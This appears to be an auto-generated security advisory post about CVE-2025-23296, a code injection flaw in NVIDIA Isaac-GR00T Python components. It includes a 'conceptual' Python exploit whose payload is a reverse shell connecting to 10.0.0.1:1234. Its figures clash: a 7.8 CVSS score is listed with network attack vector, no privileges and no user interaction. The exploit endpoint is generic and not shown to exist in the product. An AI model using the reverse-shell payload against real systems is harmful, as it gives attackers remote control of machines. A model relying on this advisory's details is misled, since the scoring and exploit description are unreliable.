CVE-2025-23296: Critical Code Injection Vulnerability in NVIDIA Isaac-GR00T Python Component

Overview

The cybersecurity landscape is constantly evolving, with new vulnerabilities emerging that pose significant threats to systems and data worldwide. One such vulnerability is the CVE-2025-23296, identified in all platforms of NVIDIA’s Isaac-GR00T, a crucial component predominantly programmed in Python. This vulnerability, if exploited successfully, could lead to serious consequences, including arbitrary code execution, escalation of privileges, information disclosure, and data tampering. The potential for system compromise or data leakage makes this vulnerability a pressing issue that requires immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-23296
Severity: High (7.8 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NVIDIA Isaac-GR00T | All versions

How the Exploit Works

The exploit takes advantage of a vulnerability residing in a Python component of NVIDIA Isaac-GR00T. An attacker can manipulate the system by injecting malicious code, which when executed, grants them unauthorized access and control over the system. This can lead to serious consequences, such as arbitrary code execution, privilege escalation, unauthorized access to sensitive information, and possible data tampering.

Conceptual Example Code

Here’s an illustrative example of how the vulnerability might be exploited. Note that this is a conceptual representation and the actual malicious payload would be tailored to the specific environment and target.

import requests
# Assuming the vulnerable Python component exposes a web service
url = "http://target.example.com/vulnerable_endpoint"
# Malicious Python code to be injected
payload = {
"malicious_payload": "exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);')"
}
response = requests.post(url, json=payload)
if response.status_code == 200:
print("Code injection successful")
else:
print("Exploit failed")

In this hypothetical scenario, the malicious payload is a reverse shell script that, when executed, opens a connection to the attacker’s machine, giving them full control of the target machine.
It is highly recommended to apply the vendor-supplied patch to mitigate this vulnerability or, as a temporary measure, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent exploit attempts.